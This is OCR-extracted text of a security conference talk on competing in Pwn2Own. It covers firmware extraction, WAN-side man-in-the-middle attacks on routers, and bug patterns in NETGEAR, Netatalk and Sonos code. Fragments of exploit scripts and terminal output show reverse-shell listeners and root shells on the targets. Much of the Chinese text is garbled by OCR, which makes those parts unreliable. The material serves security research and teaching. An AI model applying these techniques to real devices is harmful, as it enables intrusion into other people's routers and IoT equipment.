From Zero to Hero:

EZFHIGHY Pwn20wn E 1 7 B

22 [N %Z (Orange Tsai) / 15 Z £ (Angelboy Yang)
N sl =] YN 209303 11

research@devco.re DEVCORE Conference




ﬁ/‘a/yﬂ/ /sar



Pwn20wn



Pwn20wn 2l Eashiz =i & © Apple Safari Bz
2B ERNS T Pwn20wn iZ2B B SR MERENACE - WBEE 2258

HRZEREPE X 11 YA &2 Chrome

Pwn20wn S2Z XKEF BT ; iPhone 20 ¥ 4% o #%

Mobile Pwn20wn 2017 8% : SEWERETHI S0 8E=)D , — 2 ~ #8R ~ =SB

— 4= A
7’5”72*:2

i

Pwn20wn Tokyo 2018 : iPhone X * — 2 S9 ~ /\JK 6 XA

TR EZE XKE Pwn20wn - Tesla Ieff—& Model 3 BiE 52 R I EE

WZEimE | 2 5EKT] T BZE 5 —BW Model 3 KT EZREE




Pwn20wn =T E?

Y s

. Trend Micro JE | ZDI (Zero Day Initiative) E2H¥RYC

it

e
i

]

. BEABERSHES  BARERNERA

S

X I

S
RN
Cr
-

;l:l:E

2 FRENES A< B /Y 0-Day Jm)lE
E

SEEOWENEFEERESENL

°®
N
D_\\
l ‘
N
vn'_
ey ||
N/
Ol

p




ST EZL0 Pwn20wn ?

1. TERZZTENBE - WhHEMPIFEENEIR

il

M

Va i/ B / BHRLE
2007 2009 2016 2018

\ \ \

ERZM [ RE 1 EEE

2027




ATEEZEZL0 Pwn20wn ?

1. ERLZEITENBE - WIHEIMATEA
THRPNEGE | KIELZHHEHE




ATEEZEZL0 Pwn20wn ?

<A - WEHE PRI IR

._\I
Ea,
i
ai

. BEUHFRNEGE /| LW hEEE

| KT AR/ MEREIIER

W
i




DEVCORE in Pwn20wn

« 2020 PWwn20wn Tokyo - 2nd



DEVCORE in Pwn20wn

« 2020 Pwn20wn Tokyo
« 2021 Pwn20wn

2nd
1st

10



DEVCORE in Pwn20wn

« 2020 Pwn20wn Tokyo
e 2021 Pwn20wn

e« 2021 PWNn20wn Austin

2nd
1st

2nd

11



DEVCORE in Pwn20wn

e 2020 Pwn20wn Tokyo - 2nd
e 2021 Pwn20wn - 1st

e 2021 Pwn20wn Austin - 2nd
e 2022 PWn20wn Toronto - 1st PW N

ALL THE THINGS



Pwn20wn Rules

13



Pwn20wn ¥

/)l

14



Pwn20wn 75 8

15



Pwn20wn ¥

e Pwn20wn AUY EZ)[E]

1.

2.

3.

m ot 85 397 5 S B A

2 BN

TREx Z2 %% DB A FH e 3%

R (ER A A E)

A FH 78 32
NHBEAREE ANGE
2 BH1ZEEEZE Sandbox Escape / Kernel EOP

16



Pwn20wn &

17



511,@ orange@work2: ~ [96x30]

ER(C) HME(E) BANV) BEW) EIEO) HAAH)

00000018 58 55 X U | ’
00000020 6f 2c 6d o,m |
00000028 |
00000030 25 20 %

00000038 58 55 X U

00000040 58 55 X U

00000048 20 |
00000050 |
00000058 |

0000005a

[*] stack canry = O0xb%eb740238a254a4

[*] ret address = 0x555815b550

[*] base address = 0x5558001000

[*] gadget address = 0x5558179bé6c

[*] stack address = 0x7f£20000b25

[*] cmd address = 0x7£20000b56

[*] start exec thread!

[*] receive stagel request!

[*] receive stagel request!

[*] receive stagel request!

[*] recelive stage2 request!

[*] receilive stage2 request!

BusyBox v1.31.1 () built-in shell (ash)
Enter 'help' for a list of bullt-1n commands.

/opt # $ echo $USER
root
/opt # S B

"
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Let's Play the Game!
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2. Pwn20wn Mobile P SEL By
3. Pwn20wn ICS (2020 ~) . BT - ANGEL BOY
4. Pwn20wn Automotive (2024 ~ )
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EUF]

Target
NETGEAR
WD
Cisco
Lexmark
TP-Link
Samsung
HP
Canon

Sonos

Teams
11
10
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Let’s Play the Game
IR

- HIRHVER
. SOHO SMASHUP fH &

Initial Stage
TP-Link AX1800 WiFi 6 Router

NETGEAR Nighthawk WiFi6 Router
Synology RT6600ax
Cisco Integrated Service Router C921-4P
Mikrotik RouterBoard RB2011UiAS-IN

Ubiquiti Networks EdgeRouter X SFP

Final Stage

Meta Portal Go
Amazon Echo Show 15
Google Nest Max
Sonos One Speaker
Apple HomePod mini
Amazon Echo Studio
HP Color LaserJet Pro M479fdw
Lexmark MC3224i
Canon imageCLASS MF743Cdw
Synology DiskStation DS920+
My Cloud Pro Series PR4100 from WD
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Let’s Play the Game

ABE1EE
. HIRHVZ=EE

» SOHO SMASHUP #H 5

Target Score

TP-Link

NETGEAR

Synology

Target Score
MikroTik

Cisco

Ubiquiti

Initial Stage

Target Score

Lexmark Printer

HP Printer

Canon Printer

Target Score
Synology NAS

WD NAS

Target Score

Sonos One Speaker

Apple HomePod

Amazon Echo

Final Stage
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Initial Stage Final Stage R el 5 Soho smashup 73 £{

NETGEAR - 2 Lexmark Printer - 2
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Let’s Play the Game
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. SOHO SMASHUP 2H&
. RifligAVZE &S

Initial Stage

MikroTik -3

Final Stage

Sonos Speaker - 6

Soho smashup 73 £]
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Firmware Dump
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There are many way to extract the firmware.
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Let’s Play the Game

Firmware Dump
« Binwalk
« A’DHY Firmware 0] 58 Binwalk B45¢
« NETGEAR
e MikroTik




But some are encrypted or obfuscated...
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Let’s Play the Game
Firmware Dump

e Obfuscated
« Canon
e Encrypted

e SOnos

« HP
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Let’s Play the Game

Firmware Dump

. hEE BT
« UART
« WD My Cloud Home
e JTAG
« DMA Attack

e SONoOS
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Special Way
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Let’s Play the Game

Firmware Dump

e HP M479fdw @ Pwn20wn Toronto 2022
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Let’s Play the Game

Firmware Dump

. EEHE 955 HP B 7 firmware U5 = il I 1H B = 512 ;2 T 22 8Y firmware

Target Firmware



Let’s Play the Game

Firmware Dump

e HP

=]

— /

5 firmware 281

A5 ML R A HEIR N Z /T

XA

Target Firmware
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Let’s Play the Game

Firmware Dump

. Google Hacking ¥ &

=Y mirror U

Target Firmware
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Let’s Play the Game

Firmware Dump

e 3Z mirror 1

L5 Index of O] D #E

Index of /xxx

Target Firmware
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Let’s Play the Game

Firmware Dump
- BEZAILBE - L2
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Target Firmware

Index of /xxx
Last modified at 2016



Let’s Play the Game

Firmware Dump

- IR BEEZEFEE

Index of /xxx

Last modified at 2016

%

nm

1

R B ER AT

/pub/docs/xxxx.html
/xxx/yyyy/zzz.html

Target Firmware
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Let’s Play the Game

Firmware Dump

. EFFELE F firmware 4814

Index of /xxx

Last modified at 2016

THERESR

Target Firmware
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Let’s Play the Game

Firmware Dump

®
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A=
1=F

=
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= p—
—
— /

5 firmware A8 U5 89 4815 E 5

Index of /xxx

Last modified at 2016

/pub/docs/xxxx_new.html
/xxx/yyyy/zzz_new.html

Target Firmware
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Let’s Play the Game

Firmware Dump

o O] 48U B &0 i 2 M 28 A9 AR LU AR 28 70 A

Index of /xxx

Last modified at 2016

Target Firmware
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Let’s Play the Game

Firmware Dump

. 1S firmware B5HY KEY

Index of /xxx

Last modified at 2016

Target Firmware
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Let’s Play the Game

Firmware Dump

sz KEY & H1ERY Firmware

Index of /xxx

Last modified at 2016

Target Firmware
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Let’s Play the Game
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Let’s Play the Game

w12 1
- WEMEBIEERM
A EE Pwn20wn ELEINEERBY S ER
AR 5 Al 7% =2 Bl 15 21 HY

LN

LN

Proto Recv-(Q Send-0Q Local Address Foreign Address State PID/Program name
tcp ) 6 6.6.6.6:3493 0.0.0.0:% LISTEN 9167 /upsd

tcp ) 6 6.6.8.6:5600 0.8.8.8:% LISTEN 11054/nginx: master
tcp ) 6 6.6.86.68:5601 0.0.0.0:% LISTEN 11654/nginx: master
tcp ) @ 6.6.6.6:139 0.8.8.8:% LISTEN 18942 /smbd

tcp ) 6 6.6.8.8:5357 0.0.0.0:% LISTEN 11654/nginx: master
tcp ) 6 6.6.6.6:86 0.8.8.8:* LISTEN 11854/nginx: master
tcp @ 0 9.0.0.0:22 0.0.0.0:% LISTEN 8700/sshd: /usr/bin
tcp ) 6 127.6.6.1:5U432 0.8.8.8:* LISTEN 120441 /postgres

tcp ) @ 6.6.6.6:443 0.0.0.8:% LISTEN 11654/nginx: master
tcp ) 6 6.6.8.6:445 0.8.8.8:* LISTEN 18942 /smbd

tcp ) 8 127.86.6.1:161 0.0.0.8:% LISTEN 18668/snmpd

== L= T = e o L gy OA NI WS e an §F — L 0 . - __ F

|. [
'. [

e —
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Let’s Play the Game
im . 12 18

o WEE

—2

SENpESES
o F1

H ¥ Pwn20wn LCE N E R SIEE
. WBLE Ay 735 =2 fill 15 21/ 5%

. LR IZ BEREN B mEREN ELLRE 5 S W xE

_sprintf_chk(

command,
1,
0x100,
"logger -p local5.warn [RouterOp] [UPnP set event: %s] from source: %s",
SoapAction,
source);

system((const char *)command);
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e W

L2 H Y 2= 1= R A
. B E % Pwn20wn IZJ%;BZ%% SENEES
o MHBLE Biw 755 2 filli 15 21 BY
. THFLE Al ?ﬁﬁtmﬁﬂﬁﬁ’gﬁﬁ&%ﬂ%tbﬁﬁg
. FLETBEZ pre-auth

2 =Ll

89



Let’s Play the Game
im . 12 18

e W

B i
="|::

o F1

sNPESES I

_I_}J_l

. IBLEARF5 26

¥ Pwn20wn IZJ%;IQ%%

sNPTIEES

LN

SEY

- ﬂﬂB%Hy%ﬁi%hﬂﬁﬁEﬁﬁt?T =B Z W LExE

. MRLETNREZ

W=D

« Netatalk

pre-auth

5 E ¥ Open Source Project
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Let’s Play the Game
im . 12 18

- WEHRZEER
. T FE % Pwn20wn LLENEE
. WFLE A 7% 2 0l 15 21 BY
. MABLE Al ?Qﬁﬁ_%&ﬂﬁﬁgﬁﬁﬁiﬁ/%tﬁ“g%%n':|:'|F'cﬁEE
. FLETBEZ pre-auth
. B8 ,2 8 B =l Open Source Project
« Netatalk
- HitBxhiBEEE ] EE
« TP-Link tdpServer

LN
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Let’s Play the Game

i 18 1Z e,

- WERRZEERE
o 1210l R

° I:_FI:.J_'IJLJ loT Eﬁﬁtt_:lél"\]ﬁﬁ/\]i

« Command injection

o Stack overflow

. BE Z 3 IHREE Z K

R |

J

s =

)

CIEEE
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Let’s Play the Game
w12 1

o WEEHIHY =1 TR S

e Info leak

- THEEmilZ 2B AERET

« WD
. B A2

U Oday

U crash dump T E! twitter L

52l Pastebin BYART
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A previous bad experience competing at P20 taught me that trivial bugs are bad.
- @amatcama
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Let’s Play the Game
e 1Z 1
. WAN I EEHIAY4

. FHE/DITEEMEARY WAN BIAEESZEF] - 1B Pwn20wn 5P + ¥ 5R Router BY WAN 7
W e e

::E 1 =) *’Z\\

e MitM

i
i

« We can control some server from WAN side.

« DHCP
« DNS
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. WAN WEHMNIERE

Malicious DHCP server

O |

Target Router

T

97



Let’s Play the Game
im . 12 18

. WAN WEHMNIERE

Malicious DHCP server

O |

Target Router

T
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Let’s Play the Game
im . 12 18

. WAN WEHMNIERE

Malicious DHCP server

O |

Target Router

T
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Let’s Play the Game
i el 2
- WAN W EHRIERE
. DA NETGEAR R6700 AC1750 %4l

/it

. THI=HSFEAILUL curl B insecure

. O] FE @I BN H]DERES -

snprintf(command , command size - 1, "%s %S %s/%s",|"curl -s -m 180

1R

5 ILHI\FE 2= & Parse

I € Binary 01T

printf("%s: Executing '%s'\n", "url_retrieve", command);

system(command) ;

-k -o0",| a3, al, a2);
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Let’s Play the Game
i 18 12 3k
- WAN W EHIERE
. LI NETGEAR R6700 AC1750 73l
. EEAFHFEARIUL curl A insecure FILINIEZRZE Parse
o OZFE @\ E BN YT ERER - BB EIFE Binary 724
. Parse ZIE XM E B ER

« Pwning a NETGEAR router from WAN - MitM style by Synacktiv

/it
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Let’s Play the Game
i 10 12 1
. WAN I H AV
. =t WAN
. IPV6 Firewall ;2 B1E
« LAN -> WAN
« TP-Link(2020) /NETGEAR(2022)

]
i

« Kernel Module Bypass Firewall

e NetUSB
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IR0 23R 0P A R B S

/|

=71

(TR |

N
C

> 1ls ./open-source-packages/<0SS-project-name>/patch/
. 0010_GZA-184-timemachine-backup-is-slow.patch

A

I2F Apple Time Machine B3 HIZIE ()
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I
|

=71

(TR |

N
C

/|

> 1ls ./open-source-packages/<0SS-project-name>/patch/

IR0 23R 0P A R B S

L

R Z 55 SCEETRAY Bug R

—

. 0012_GZA-182-fix-long-korean-share—-name-show-issue.patch
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L

IR0 23R 0P A R B S

m]

> 1ls ./open-source-packages/<0SS-project-name>/patch/

. 0002_GZA-192-1mplement-recycle-bin-function.patch

A
2= N _L PR 1E =AY R WL T BE B
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L
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EEL

=~

4
LA

(vol->v_recycle_bin D
char del_file_path[513] 10}

(curdir vol->v_root)
sprintf(del_file_path, "%s", file);

sprintf(del_file_path, "%s/%s'",
cfrombstr(curdir->d_fullpath) + \
strlen(vol->v_path) + 1,
file) ;

108
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B3 /2 o [ X I R B E

L

ik

. 2021 Pwn20wn Austin - BB E ¥k&Ex |

size t read size 1

my_media_read(ctx, &dlen, &read_size, timeval);

dlen (unsigned __1nt8) dlen;
(dlen) {

my_media_read(ctx, &buffer, &dlen, timeval);
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221 %151%151%151%151515151%]0]%

-0V DO buftter
2 21915151515]5151515]5]5 5 1@




/MOV X0, $Sctx A

SUB SP, SP, $dlen
MOV X1, SP

MOV X2, SP

\_ MoV X3, $timeval




B3 /2 o [ X I R B E

L

ik

. 2021 Pwn20wn Austin - BB E ¥k&Ex |

size_t read_size 1

my_media_read(ctx, &dlen, &read_size, timeval);

dlen (unsigned __1nt8) dlen;
(dlen) {

voild *xbuffer alloca(dlen);
my_media_read(ctx, &buffer, &dlen, timeval);
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No bug? WTF Bug was FAKE
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Understanding system
leads to real bug

Hope Maybe... a bug?

No bug? WTF Bug was FAKE
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1.

2.

- The bug was fake
Integer Underflow on MP3 ID3v2 Tag Parsing

Lead to Stack Overflow

Arch: aarchod-od-1little
RELRO: Partial RELRO
Stack:

NX:

PlE:
FORTIFY:
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1. Stack Clash on MP4 Box Parsing
« Spent ™~ 10 days to write the exploitation
« Abusing Thread Stack to get Info-Leak and PC-Control primitives
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1. on MP4 Box Parsing
e | Spent ~ 10 days to write the exploitation
« | Abusing Thread Stack to get Info-Leak and PC-Control primitives
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2. Info-Leak on Device Synchronization + OOB-Write on Insecure libxml2 Callback
« Override vTable to get PC-Control, but Non-UTF-8 codes limits our exploit : (
« We are glad that the ASLR can become our good friend : )
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on Insecure libxml2 Callback

« | Override vTable to get PC-Control, but Non-UTF-8 codes limits our exploit : (

« | We are glad that the ASLR can become our good friend : )

128



B 2 on [ (X B U 55
SONOS
. 2022

. 14.18

Release date: 10/18/2022

In this update:
allback

« Bug fixes and performance enhancements, including a fix for an audio quality issue that
reduced Sub output for Arc, Beam, or Ray when paired with a Sub or Sub Mini while Trueplay
was enabled.

ploit : (

System requirements
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SONOS
. 2022 |

. 14.18

Release date: 10/18/2022

In this update:

« Bug fixes and performance enhancements, including a fix for an audio quality issue that -a#baek
reduced Sub output for Arc, Beam, or Ray when paired with a Sub or Sub Mini while Trueplay oloit: {
was enabled. :

System requirements
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Understanding system
leads to real bug

Hope Maybe... a bug?

No bug? WTF Bug was FAKE

131



Understanding system
leads to real bug

Hope Maybe... a bug?

No bug? WTF Bug was FAKE (
Bug was patched
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size_t read_s1ize 1;

my_media_read(ctx, &dlen, &read_size, timeval);

dlen (unsigned __1nt8) dlen;
(dlen) {

vold *buffer = alloca(dlen);
+ char buffer[200] = {0};

my_media_read(ctx, &buffer, &dlen, timeval);
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Go Ahead! E R _Fi151E
Rule

« Demonstration
e Prepare
« Public Demonstration
« Review
« /Zero Day Initiative Review

« Vendor Review and Disclosure
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Rule

» Review
« /Zero Day Initiative Review

e Vendor Review and Disclosure
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Vendor Review and Disclosure

e Synology @ Pwn20wn Tokyo 2020
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print('[*] Exploiting')
Thread(target-exploit, args-(zone, URL)).start()
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Jlnl

print('[*] Exploiting')
Thread(target-exploit, args-(zone, URL)).start()

print('[*] Waiting for shell back!')
listen(port=12345, bindaddr='0.0.0.0")
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Jlnl

print('[*x] Starting HTTP server on port 8080')
Thread(target-webserver, args-()).start()

print('[*] Exploiting')
Thread(target-exploit, args-(zone, URL)).start()

print('[*x] Waiting for shell back!')
listen(port=12345, bindaddr='0.0.0.0")
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Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 159, 1n new conn
conn = connectlion.create connection (
File "/usr/lib/python3/dist-packages/urllib3/util/connection.py", line 84, 1n create connectilon
ralse err
File "/usr/lib/python3/dist-packages/urllib3/util/connection.py", line 74, 1n create connectilon
sock.connect (sa)
ConnectionRefusedError: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 665, in urlopen
httplib response = self. make request (
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 387, in make request

YOU DIED

selT. send output (message body, encode chunked=encode chunked)
File "/usr/lib/python3.8/http/client.py", line 1011, in send output
self.send (msqg)
File "/usr/lib/python3.8/http/client.py", line 951, in send
self.connect ()
File "/usr/lib/python3/dist—-packages/urllib3/connection.py", line 187, in connect
conn = self. new conn()
File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 171, in new conn
ralse NewConnectionError (
urllib3.exceptions.NewConnectionError: <urllib3.connection.HTTPConnection object at 0x7fdab5add37f0>: Failed to establish
w connection: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/l1lib/pvthon3/dist-packages/reguests/adapters.pvyv", line 439, 1n send



[

&~ orange@work: ~ [85x26]

ER(C) #&EE) =HNV) S8W) EIEO) HRH)

orange@work:~/pwn2own/sonos/exp$ python3 exp-v3.py
Usage: exp-v3.py <SONOS-HOST> <REVERSE-HOST>

orange@work:~/pwn2own/sonos/exp$ python3 exp-v3.py 10.25.201.42 1 111
[*] Connecting to SONOS
[ *] SONOS VERSION = 65.1-21040

[ *] Making payload

[ *] Starting HTTP server on port 8000

127.0.0.1 - - [26/0ct/2021 09:41:45] "GET /payload.mp3?x=aukurgbi HTTP/1.1" 200 -
[ *] Ex1d
[ *] Wailt

. |/opt # $ echo SUSER]| .

3818
127.0.0.

o root B

[*] Swit
/bin/sh: can't access tLty,; Job control turned OLL

BusyBox v1.24.2 () built-in shell (ash)
Enter 'help' for a list of buillt-in commands.

/opt # pwd
/opt
/opt # S |}
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Thread(target-webserver,

Thread(target-exploit,
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args=()).start()

args=(zone, URL)).start()
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